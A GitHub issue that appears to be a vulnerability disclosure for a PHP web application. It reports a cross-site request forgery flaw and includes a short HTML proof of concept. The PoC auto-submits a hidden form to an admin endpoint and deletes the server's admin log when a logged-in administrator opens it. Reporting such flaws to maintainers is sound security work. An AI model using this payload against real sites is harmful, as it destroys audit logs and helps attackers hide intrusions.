New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a csrf vulnerability that once click a url which include payload can delect webserver log #114

Open
lovejackey opened this Issue Nov 20, 2018 · 0 comments

Comments

Projects
None yet
1 participant
@lovejackey

lovejackey commented Nov 20, 2018

when a authenticated administator click a url which include payload, then the webserver log will be deleted
poc:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.107/green/index.php?m=admin&c=data&a=clear" method="POST">
      <input type="hidden" name="cache&#91;&#93;" value="AdminLog" />
      <input type="submit" value="Submit request" />
	<script> document.forms[0].submit(); </script> 
    </form>
  </body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment